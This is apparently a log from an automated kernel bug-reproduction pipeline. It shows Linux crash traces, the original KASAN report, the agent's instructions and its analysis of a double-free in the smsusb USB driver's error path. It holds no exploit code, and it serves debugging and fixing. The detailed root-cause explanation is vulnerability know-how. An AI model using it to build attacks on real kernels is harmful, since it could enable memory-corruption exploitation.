[   65.174583][ T2237]  driver_probe_device+0x4f/0x240
[   65.176273][ T2237]  __device_attach_driver+0x270/0x410
[   65.178035][ T2237]  bus_for_each_drv+0x258/0x2f0
[   65.179653][ T2237]  ? __pfx___device_attach_driver+0x10/0x10
[   65.181651][ T2237]  ? __pfx_bus_for_each_drv+0x10/0x10
[   65.183426][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   65.185369][ T2237]  __device_attach+0x2c4/0x450
[   65.186986][ T2237]  ? __pfx___device_attach+0x10/0x10
[   65.188764][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   65.190497][ T2237]  ? _raw_spin_unlock+0x28/0x50
[   65.192149][ T2237]  device_initial_probe+0xa1/0xd0
[   65.193839][ T2237]  bus_probe_device+0x12a/0x220
[   65.195468][ T2237]  device_add+0x7d7/0xb80
[   65.196917][ T2237]  usb_new_device+0x9aa/0x1690
[   65.198507][ T2237]  ? __pfx_usb_new_device+0x10/0x10
[   65.200245][ T2237]  ? _raw_spin_unlock_irq+0x23/0x50
[   65.201990][ T2237]  hub_event+0x28e8/0x4d30
[   65.203503][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   65.205228][ T2237]  ? __pfx_hub_event+0x10/0x10
[   65.206816][ T2237]  ? rcu_is_watching+0x16/0xb0
[   65.208409][ T2237]  ? process_scheduled_works+0x97a/0x1630
[   65.210289][ T2237]  process_scheduled_works+0xc3d/0x1630
[   65.212116][ T2237]  ? __pfx_process_scheduled_works+0x10/0x10
[   65.214114][ T2237]  ? assign_work+0x3cf/0x5d0
[   65.215662][ T2237]  worker_thread+0xa47/0xfb0
[   65.217227][ T2237]  ? __kthread_parkme+0x71/0x1f0
[   65.218864][ T2237]  kthread+0x38b/0x480
[   65.220251][ T2237]  ? __pfx_worker_thread+0x10/0x10
[   65.221963][ T2237]  ? __pfx_kthread+0x10/0x10
[   65.223511][ T2237]  ret_from_fork+0x514/0xb70
[   65.225071][ T2237]  ? __pfx_ret_from_fork+0x10/0x10
[   65.226778][ T2237]  ? __switch_to+0xc89/0x1420
[   65.228339][ T2237]  ? __pfx_kthread+0x10/0x10
[   65.229887][ T2237]  ret_from_fork_asm+0x1a/0x30
[   65.231499][ T2237]  </TASK>
[   65.233215][ T2237] Kernel Offset: disabled
[   65.234653][ T2237] Rebooting in 86400 seconds..
 OtherCrashReports:<nil> StraceOutput: TestError:]

214/3 2026/09/04 10:38 action truncate-log
0m Results:
map[TruncatedConsoleOutput:[   64.879974][ T2237] R10: dffffc0000000000 R11: ffffed10221ff8e1 R12: 1ffff110233b4282
[   64.882711][ T2237] R13: 0000000000000000 R14: ffff888110ffc760 R15: dffffc0000000000
[   64.885354][ T2237] FS:  0000000000000000(0000) GS:ffff8881a49f5000(0000) knlGS:0000000000000000
[   64.888325][ T2237] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   64.890598][ T2237] CR2: 00007fcfd126ee9c CR3: 0000000107b2f000 CR4: 0000000000352ef0
[   64.893392][ T2237] Call Trace:
[   64.894577][ T2237]  <TASK>
[   64.895588][ T2237]  usb_free_urb+0xd0/0x120
[   64.897109][ T2237]  smsusb_term_device+0x1d0/0x3d0
[   64.898802][ T2237]  smsusb_probe+0x1aba/0x2280
[   64.900400][ T2237]  ? __pfx_smsusb_probe+0x10/0x10
[   64.902108][ T2237]  ? do_raw_spin_lock+0x12b/0x2f0
[   64.903896][ T2237]  ? __pfx_smsusb1_setmode+0x10/0x10
[   64.905670][ T2237]  ? __pfx_smsusb1_detectmode+0x10/0x10
[   64.907574][ T2237]  ? __pfx_smsusb_sendrequest+0x10/0x10
[   64.909437][ T2237]  ? _raw_spin_unlock_irqrestore+0x30/0x80
[   64.911400][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   64.913443][ T2237]  ? __pm_runtime_set_status+0x994/0xc80
[   64.915321][ T2237]  usb_probe_interface+0x788/0xe50
[   64.917054][ T2237]  ? __pfx_usb_probe_interface+0x10/0x10
[   64.918947][ T2237]  ? sysfs_do_create_link_sd+0xe0/0x110
[   64.920855][ T2237]  ? driver_sysfs_add+0x1fe/0x210
[   64.922661][ T2237]  ? __pfx_usb_probe_interface+0x10/0x10
[   64.924559][ T2237]  really_probe+0x254/0xae0
[   64.926098][ T2237]  __driver_probe_device+0x1e8/0x360
[   64.927898][ T2237]  driver_probe_device+0x4f/0x240
[   64.929613][ T2237]  __device_attach_driver+0x270/0x410
[   64.931425][ T2237]  bus_for_each_drv+0x258/0x2f0
[   64.933234][ T2237]  ? __pfx___device_attach_driver+0x10/0x10
[   64.935304][ T2237]  ? __pfx_bus_for_each_drv+0x10/0x10
[   64.937363][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   64.939333][ T2237]  __device_attach+0x2c4/0x450
[   64.940993][ T2237]  ? __pfx___device_attach+0x10/0x10
[   64.942838][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   64.944560][ T2237]  ? _raw_spin_unlock+0x28/0x50
[   64.946219][ T2237]  device_initial_probe+0xa1/0xd0
[   64.947996][ T2237]  bus_probe_device+0x12a/0x220
[   64.949667][ T2237]  device_add+0x7d7/0xb80
[   64.951148][ T2237]  usb_set_configuration+0x1ad8/0x2180
[   64.953047][ T2237]  usb_generic_driver_probe+0x8d/0x150
[   64.954888][ T2237]  usb_probe_device+0x1c3/0x3b0
[   64.956537][ T2237]  ? __pfx_usb_probe_device+0x10/0x10
[   64.958343][ T2237]  really_probe+0x254/0xae0
[   64.959869][ T2237]  __driver_probe_device+0x1e8/0x360
[   64.961707][ T2237]  driver_probe_device+0x4f/0x240
[   64.963508][ T2237]  __device_attach_driver+0x270/0x410
[   64.965321][ T2237]  bus_for_each_drv+0x258/0x2f0
[   64.966987][ T2237]  ? __pfx___device_attach_driver+0x10/0x10
[   64.968970][ T2237]  ? __pfx_bus_for_each_drv+0x10/0x10
[   64.970765][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   64.972789][ T2237]  __device_attach+0x2c4/0x450
[   64.974451][ T2237]  ? __pfx___device_attach+0x10/0x10
[   64.976238][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   64.977964][ T2237]  ? _raw_spin_unlock+0x28/0x50
[   64.979604][ T2237]  device_initial_probe+0xa1/0xd0
[   64.981307][ T2237]  bus_probe_device+0x12a/0x220
[   64.983009][ T2237]  device_add+0x7d7/0xb80
[   64.984476][ T2237]  usb_new_device+0x9aa/0x1690
[   64.986088][ T2237]  ? __pfx_usb_new_device+0x10/0x10
[   64.987909][ T2237]  ? _raw_spin_unlock_irq+0x23/0x50
[   64.989663][ T2237]  hub_event+0x28e8/0x4d30
[   64.991189][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   64.992981][ T2237]  ? __pfx_hub_event+0x10/0x10
[   64.994606][ T2237]  ? rcu_is_watching+0x16/0xb0
[   64.996222][ T2237]  ? process_scheduled_works+0x97a/0x1630
[   64.998148][ T2237]  process_scheduled_works+0xc3d/0x1630
[   65.000012][ T2237]  ? __pfx_process_scheduled_works+0x10/0x10
[   65.002088][ T2237]  ? assign_work+0x3cf/0x5d0
[   65.003898][ T2237]  worker_thread+0xa47/0xfb0
[   65.005474][ T2237]  ? __kthread_parkme+0x71/0x1f0
[   65.007163][ T2237]  kthread+0x38b/0x480
[   65.008545][ T2237]  ? __pfx_worker_thread+0x10/0x10
[   65.010264][ T2237]  ? __pfx_kthread+0x10/0x10
[   65.011808][ T2237]  ret_from_fork+0x514/0xb70
[   65.013439][ T2237]  ? __pfx_ret_from_fork+0x10/0x10
[   65.015227][ T2237]  ? __switch_to+0xc89/0x1420
[   65.016833][ T2237]  ? __pfx_kthread+0x10/0x10
[   65.018391][ T2237]  ret_from_fork_asm+0x1a/0x30
[   65.019988][ T2237]  </TASK>
[   65.021051][ T2237] Kernel panic - not syncing: kernel: panic_on_warn set ...
[   65.023479][ T2237] CPU: 0 UID: 0 PID: 2237 Comm: kworker/0:3 Not tainted syzkaller #1 PREEMPT(full) 
[   65.026505][ T2237] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[   65.029878][ T2237] Workqueue: usb_hub_wq hub_event
[   65.031610][ T2237] Call Trace:
[   65.032748][ T2237]  <TASK>
[   65.033761][ T2237]  vpanic+0x56d/0xa60
[   65.035146][ T2237]  ? __pfx__printk+0x10/0x10
[   65.036706][ T2237]  ? __pfx_vpanic+0x10/0x10
[   65.038263][ T2237]  ? is_bpf_text_address+0x292/0x2b0
[   65.040042][ T2237]  ? is_bpf_text_address+0x26/0x2b0
[   65.041793][ T2237]  panic+0xc5/0xd0
[   65.043067][ T2237]  ? __pfx_panic+0x10/0x10
[   65.044585][ T2237]  ? ret_from_fork_asm+0x1a/0x30
[   65.046272][ T2237]  __warn+0x315/0x4c0
[   65.047641][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.049383][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.051110][ T2237]  __report_bug+0x276/0x570
[   65.052654][ T2237]  ? bus_for_each_drv+0x258/0x2f0
[   65.054345][ T2237]  ? __device_attach+0x2c4/0x450
[   65.056019][ T2237]  ? device_initial_probe+0xa1/0xd0
[   65.057774][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.059506][ T2237]  ? __pfx___report_bug+0x10/0x10
[   65.061217][ T2237]  ? bus_probe_device+0x12a/0x220
[   65.062919][ T2237]  ? device_add+0x7d7/0xb80
[   65.064454][ T2237]  ? usb_new_device+0x9aa/0x1690
[   65.066123][ T2237]  ? hub_event+0x28e8/0x4d30
[   65.067715][ T2237]  ? process_scheduled_works+0xc3d/0x1630
[   65.069636][ T2237]  ? worker_thread+0xa47/0xfb0
[   65.071250][ T2237]  ? kthread+0x38b/0x480
[   65.072680][ T2237]  ? smscore_unregister_device+0x651/0x780
[   65.074631][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.076359][ T2237]  report_bug+0x16b/0x220
[   65.077855][ T2237]  ? free_large_kmalloc+0x97/0x110
[   65.079581][ T2237]  ? free_large_kmalloc+0x99/0x110
[   65.081317][ T2237]  handle_bug+0x9c/0x200
[   65.082743][ T2237]  exc_invalid_op+0x1a/0x50
[   65.084286][ T2237]  asm_exc_invalid_op+0x1a/0x20
[   65.085917][ T2237] RIP: 0010:free_large_kmalloc+0x97/0x110
[   65.087819][ T2237] Code: 8b 43 30 83 f8 ff 74 13 25 00 00 00 ff 3d 00 00 00 f8 75 7a c7 43 30 ff ff ff ff 48 89 df 89 ee 5b 41 5e 5d e9 4a af fc ff 90 <0f> 0b 90 48 89 df 48 c7 c6 38 72 6d 8e 5b 41 5e 5d e9 93 30 fd fe
[   65.094212][ T2237] RSP: 0018:ffffc900086beb08 EFLAGS: 00010206
[   65.096240][ T2237] RAX: 00000000ff000000 RBX: ffffea00046b7c40 RCX: 0000000000000001
[   65.098869][ T2237] RDX: 0000000000000000 RSI: ffff88811adf1000 RDI: ffffea00046b7c40
[   65.101507][ T2237] RBP: 0000000000000000 R08: ffff888110ffc703 R09: 1ffff110221ff8e0
[   65.104146][ T2237] R10: dffffc0000000000 R11: ffffed10221ff8e1 R12: 1ffff110233b4282
[   65.106777][ T2237] R13: 0000000000000000 R14: ffff888110ffc760 R15: dffffc0000000000
[   65.109412][ T2237]  usb_free_urb+0xd0/0x120
[   65.110912][ T2237]  smsusb_term_device+0x1d0/0x3d0
[   65.112620][ T2237]  smsusb_probe+0x1aba/0x2280
[   65.114219][ T2237]  ? __pfx_smsusb_probe+0x10/0x10
[   65.115911][ T2237]  ? do_raw_spin_lock+0x12b/0x2f0
[   65.117608][ T2237]  ? __pfx_smsusb1_setmode+0x10/0x10
[   65.119376][ T2237]  ? __pfx_smsusb1_detectmode+0x10/0x10
[   65.121245][ T2237]  ? __pfx_smsusb_sendrequest+0x10/0x10
[   65.123104][ T2237]  ? _raw_spin_unlock_irqrestore+0x30/0x80
[   65.125070][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   65.127021][ T2237]  ? __pm_runtime_set_status+0x994/0xc80
[   65.128903][ T2237]  usb_probe_interface+0x788/0xe50
[   65.130642][ T2237]  ? __pfx_usb_probe_interface+0x10/0x10
[   65.132530][ T2237]  ? sysfs_do_create_link_sd+0xe0/0x110
[   65.134381][ T2237]  ? driver_sysfs_add+0x1fe/0x210
[   65.136071][ T2237]  ? __pfx_usb_probe_interface+0x10/0x10
[   65.137950][ T2237]  really_probe+0x254/0xae0
[   65.139498][ T2237]  __driver_probe_device+0x1e8/0x360
[   65.141298][ T2237]  driver_probe_device+0x4f/0x240
[   65.142990][ T2237]  __device_attach_driver+0x270/0x410
[   65.144790][ T2237]  bus_for_each_drv+0x258/0x2f0
[   65.146463][ T2237]  ? __pfx___device_attach_driver+0x10/0x10
[   65.148478][ T2237]  ? __pfx_bus_for_each_drv+0x10/0x10
[   65.150347][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   65.152326][ T2237]  __device_attach+0x2c4/0x450
[   65.153944][ T2237]  ? __pfx___device_attach+0x10/0x10
[   65.155718][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   65.157451][ T2237]  ? _raw_spin_unlock+0x28/0x50
[   65.159097][ T2237]  device_initial_probe+0xa1/0xd0
[   65.160811][ T2237]  bus_probe_device+0x12a/0x220
[   65.162474][ T2237]  device_add+0x7d7/0xb80
[   65.163930][ T2237]  usb_set_configuration+0x1ad8/0x2180
[   65.165768][ T2237]  usb_generic_driver_probe+0x8d/0x150
[   65.167626][ T2237]  usb_probe_device+0x1c3/0x3b0
[   65.169424][ T2237]  ? __pfx_usb_probe_device+0x10/0x10
[   65.171246][ T2237]  really_probe+0x254/0xae0
[   65.172788][ T2237]  __driver_probe_device+0x1e8/0x360
[   65.174583][ T2237]  driver_probe_device+0x4f/0x240
[   65.176273][ T2237]  __device_attach_driver+0x270/0x410
[   65.178035][ T2237]  bus_for_each_drv+0x258/0x2f0
[   65.179653][ T2237]  ? __pfx___device_attach_driver+0x10/0x10
[   65.181651][ T2237]  ? __pfx_bus_for_each_drv+0x10/0x10
[   65.183426][ T2237]  ? _raw_spin_unlock_irqrestore+0x4c/0x80
[   65.185369][ T2237]  __device_attach+0x2c4/0x450
[   65.186986][ T2237]  ? __pfx___device_attach+0x10/0x10
[   65.188764][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   65.190497][ T2237]  ? _raw_spin_unlock+0x28/0x50
[   65.192149][ T2237]  device_initial_probe+0xa1/0xd0
[   65.193839][ T2237]  bus_probe_device+0x12a/0x220
[   65.195468][ T2237]  device_add+0x7d7/0xb80
[   65.196917][ T2237]  usb_new_device+0x9aa/0x1690
[   65.198507][ T2237]  ? __pfx_usb_new_device+0x10/0x10
[   65.200245][ T2237]  ? _raw_spin_unlock_irq+0x23/0x50
[   65.201990][ T2237]  hub_event+0x28e8/0x4d30
[   65.203503][ T2237]  ? do_raw_spin_unlock+0xf5/0x200
[   65.205228][ T2237]  ? __pfx_hub_event+0x10/0x10
[   65.206816][ T2237]  ? rcu_is_watching+0x16/0xb0
[   65.208409][ T2237]  ? process_scheduled_works+0x97a/0x1630
[   65.210289][ T2237]  process_scheduled_works+0xc3d/0x1630
[   65.212116][ T2237]  ? __pfx_process_scheduled_works+0x10/0x10
[   65.214114][ T2237]  ? assign_work+0x3cf/0x5d0
[   65.215662][ T2237]  worker_thread+0xa47/0xfb0
[   65.217227][ T2237]  ? __kthread_parkme+0x71/0x1f0
[   65.218864][ T2237]  kthread+0x38b/0x480
[   65.220251][ T2237]  ? __pfx_worker_thread+0x10/0x10
[   65.221963][ T2237]  ? __pfx_kthread+0x10/0x10
[   65.223511][ T2237]  ret_from_fork+0x514/0xb70
[   65.225071][ T2237]  ? __pfx_ret_from_fork+0x10/0x10
[   65.226778][ T2237]  ? __switch_to+0xc89/0x1420
[   65.228339][ T2237]  ? __pfx_kthread+0x10/0x10
[   65.229887][ T2237]  ret_from_fork_asm+0x1a/0x30
[   65.231499][ T2237]  </TASK>
[   65.233215][ T2237] Kernel Offset: disabled
[   65.234653][ T2237] Rebooting in 86400 seconds..
 TruncatedCrashReport:smsusb:smsusb_start_streaming: smsusb_submit_urb(...) failed
smsusb:smsusb_init_device: smsusb_start_streaming(...) failed
------------[ cut here ]------------
!PageLargeKmalloc(page)
WARNING: mm/slub.c:6724 at free_large_kmalloc+0x97/0x110 mm/slub.c:6724, CPU#0: kworker/0:3/2237
Modules linked in:
CPU: 0 UID: 0 PID: 2237 Comm: kworker/0:3 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Workqueue: usb_hub_wq hub_event
RIP: 0010:free_large_kmalloc+0x97/0x110 mm/slub.c:6724
Code: 8b 43 30 83 f8 ff 74 13 25 00 00 00 ff 3d 00 00 00 f8 75 7a c7 43 30 ff ff ff ff 48 89 df 89 ee 5b 41 5e 5d e9 4a af fc ff 90 <0f> 0b 90 48 89 df 48 c7 c6 38 72 6d 8e 5b 41 5e 5d e9 93 30 fd fe
RSP: 0018:ffffc900086beb08 EFLAGS: 00010206
RAX: 00000000ff000000 RBX: ffffea00046b7c40 RCX: 0000000000000001
RDX: 0000000000000000 RSI: ffff88811adf1000 RDI: ffffea00046b7c40
RBP: 0000000000000000 R08: ffff888110ffc703 R09: 1ffff110221ff8e0
R10: dffffc0000000000 R11: ffffed10221ff8e1 R12: 1ffff110233b4282
R13: 0000000000000000 R14: ffff888110ffc760 R15: dffffc0000000000
FS:  0000000000000000(0000) GS:ffff8881a49f5000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007fcfd126ee9c CR3: 0000000107b2f000 CR4: 0000000000352ef0
Call Trace:
 <TASK>
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>
 TruncatedStraceOutput:]

215/3 2026/09/04 10:38 agent repro-oracle
4m Model:
deep-reasoning

Results:
map[Feedback:The reproducer successfully triggered the target bug. Although the crash signatures differ (the original report shows a `KASAN: invalid-free in usb_free_urb`, while the reproducer triggers a `WARNING: mm/slub.c:6724 at free_large_kmalloc`), they represent the exact same underlying root cause.

### Root Cause Analysis
1. During device initialization (`smsusb_init_device`), `smscore_register_device` allocates a large contiguous buffer (`common_buffer`) using `kzalloc`. Given `MAX_BUFFERS` (50) and `USB1_BUFFER_SIZE` (4096), this allocation is 204800 bytes, which is satisfied via the page allocator as a large kmalloc.
2. `smsusb_submit_urb` assigns interior pointers from this `common_buffer` to `urb->transfer_buffer` and incorrectly sets the `URB_FREE_BUFFER` flag.
3. If `usb_submit_urb` fails, the driver enters the error path and calls `smsusb_term_device`.
4. `smsusb_term_device` first calls `smscore_unregister_device`, which frees the entire `common_buffer` via `kfree()`.
5. Subsequently, `smsusb_term_device` iterates over the URBs and calls `usb_free_urb()`. Because `URB_FREE_BUFFER` is set, the USB core attempts to `kfree(urb->transfer_buffer)`.
6. This results in a second `kfree()` on an interior pointer of the already-freed `common_buffer`.

### Crash Signature Equivalence
- **Original syzbot report**: Between the first free of `common_buffer` and the second free of the interior pointer, the freed pages were reallocated by another subsystem (an `skb` allocation in `netdevsim`) as a `kmalloc-4k` SLAB page. When `usb_free_urb` called `kfree()`, the memory manager saw the page as a valid SLAB page and routed the free to `slab_free()`. KASAN intercepted this and correctly identified it as an `invalid-free` because the pointer was an interior pointer relative to the new SLAB objects.
- **Reproducer run**: The race window is small, and the freed pages were not reallocated as a SLAB page before the second free. When `usb_free_urb` calls `kfree()`, the memory manager sees it is not a SLAB page and routes it to `free_large_kmalloc()`. Since the page was already freed, the `PG_large_kmalloc` flag was cleared, triggering the `WARN_ON_ONCE(!PageLargeKmalloc(page))` in `free_large_kmalloc()`.

Both crashes are manifestations of the exact same double-free / invalid-free bug caused by the erroneous `URB_FREE_BUFFER` flag. ProbePassed:false TerminalError: TitleMatches:true]

Instruction:
You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.

=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
   that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
   meaning the codebase version is mismatched and the target code is absent.

=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
  or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.


=== PHASE 2: BUG REPRODUCTION (EVALUATION) ===
The executed program was a full reproducer candidate attempting to trigger the target bug/crash.
Use this to guide your classification and feedback:
1. If a crash was triggered (Reproduced is true):
   - Determine if the triggered crash matches the expected bug.
   - If you conclude they represent the same underlying bug (the same root cause)
     despite different titles, crash signatures, or call traces, set TitleMatches
     to true and provide a detailed, technical, and verbose explanation of the
     equivalence in the 'Feedback' field.
   - If they do not represent the same bug (a completely unrelated crash/collision),
     set TitleMatches to false and explain the collision in 'Feedback'.
   - If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
2. If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
   - The reproduction attempt failed to trigger the bug. Analyze the console/strace output
     to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
     and provide feedback on how to improve the reproducer logic to trigger the crash.

Critical Diagnostic Rule for Reproduction Failures:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Immediately search the kernel source tree for the warning message strings or
   the code of the failing system call/subsystem to locate the validation logic.
4. Trace the kernel's validation logic to diagnose the exact constraint violation
   or input mismatch in the generated program.
5. Provide a technical diagnosis in the feedback explaining the exact kernel constraint that was violated and why.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Bug Description: KASAN: invalid-free in usb_free_urb

==================================================================
BUG: KASAN: invalid-free in urb_destroy drivers/usb/core/urb.c:25 [inline]
BUG: KASAN: invalid-free in kref_put include/linux/kref.h:65 [inline]
BUG: KASAN: invalid-free in usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
Free of addr ffff888058ab1000 by task kworker/1:1/48

CPU: 1 UID: 0 PID: 48 Comm: kworker/1:1 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
Workqueue: usb_hub_wq hub_event
Call Trace:
 <TASK>
 dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
 print_address_description+0x55/0x1e0 mm/kasan/report.c:378
 print_report+0x58/0x70 mm/kasan/report.c:482
 kasan_report_invalid_free+0xea/0x110 mm/kasan/report.c:557
 check_slab_allocation mm/kasan/common.c:-1 [inline]
 __kasan_slab_pre_free+0x104/0x120 mm/kasan/common.c:261
 kasan_slab_pre_free include/linux/kasan.h:199 [inline]
 slab_free_hook mm/slub.c:2693 [inline]
 slab_free mm/slub.c:6499 [inline]
 kfree+0x173/0x650 mm/slub.c:6792
 urb_destroy drivers/usb/core/urb.c:25 [inline]
 kref_put include/linux/kref.h:65 [inline]
 usb_free_urb+0xd0/0x120 drivers/usb/core/urb.c:96
 smsusb_term_device+0x1d0/0x3d0 drivers/media/usb/siano/smsusb.c:352
 smsusb_init_device drivers/media/usb/siano/smsusb.c:497 [inline]
 smsusb_probe+0x1aba/0x2280 drivers/media/usb/siano/smsusb.c:575
 usb_probe_interface+0x788/0xe50 drivers/usb/core/driver.c:399
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_set_configuration+0x1ad8/0x2180 drivers/usb/core/message.c:2268
 usb_generic_driver_probe+0x8d/0x150 drivers/usb/core/generic.c:250
 usb_probe_device+0x1c3/0x3b0 drivers/usb/core/driver.c:293
 call_driver_probe drivers/base/dd.c:-1 [inline]
 really_probe+0x254/0xae0 drivers/base/dd.c:706
 __driver_probe_device+0x1e8/0x360 drivers/base/dd.c:868
 driver_probe_device+0x4f/0x240 drivers/base/dd.c:898
 __device_attach_driver+0x270/0x410 drivers/base/dd.c:1026
 bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
 __device_attach+0x2c4/0x450 drivers/base/dd.c:1098
 device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1153
 bus_probe_device+0x12a/0x220 drivers/base/bus.c:620
 device_add+0x7d7/0xb80 drivers/base/core.c:3776
 usb_new_device+0x9aa/0x1690 drivers/usb/core/hub.c:2708
 hub_port_connect drivers/usb/core/hub.c:5580 [inline]
 hub_port_connect_change drivers/usb/core/hub.c:5720 [inline]
 port_event drivers/usb/core/hub.c:5884 [inline]
 hub_event+0x28e8/0x4d30 drivers/usb/core/hub.c:5966
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 3388:
 kasan_save_stack mm/kasan/common.c:57 [inline]
 kasan_save_track+0x3e/0x80 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0x93/0xb0 mm/kasan/common.c:415
 kasan_kmalloc include/linux/kasan.h:263 [inline]
 __do_kmalloc_node mm/slub.c:5414 [inline]
 __kmalloc_node_track_caller_noprof+0x4b4/0x720 mm/slub.c:5545
 kmalloc_reserve net/core/skbuff.c:637 [inline]
 __alloc_skb+0x2c1/0x7a0 net/core/skbuff.c:715
 alloc_skb include/linux/skbuff.h:1384 [inline]
 nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:744 [inline]
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:801 [inline]
 nsim_dev_trap_report_work+0x25f/0xb40 drivers/net/netdevsim/dev.c:847
 process_one_work kernel/workqueue.c:3387 [inline]
 process_scheduled_works+0xc3d/0x1630 kernel/workqueue.c:3470
 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3551
 kthread+0x38b/0x480 kernel/kthread.c:436
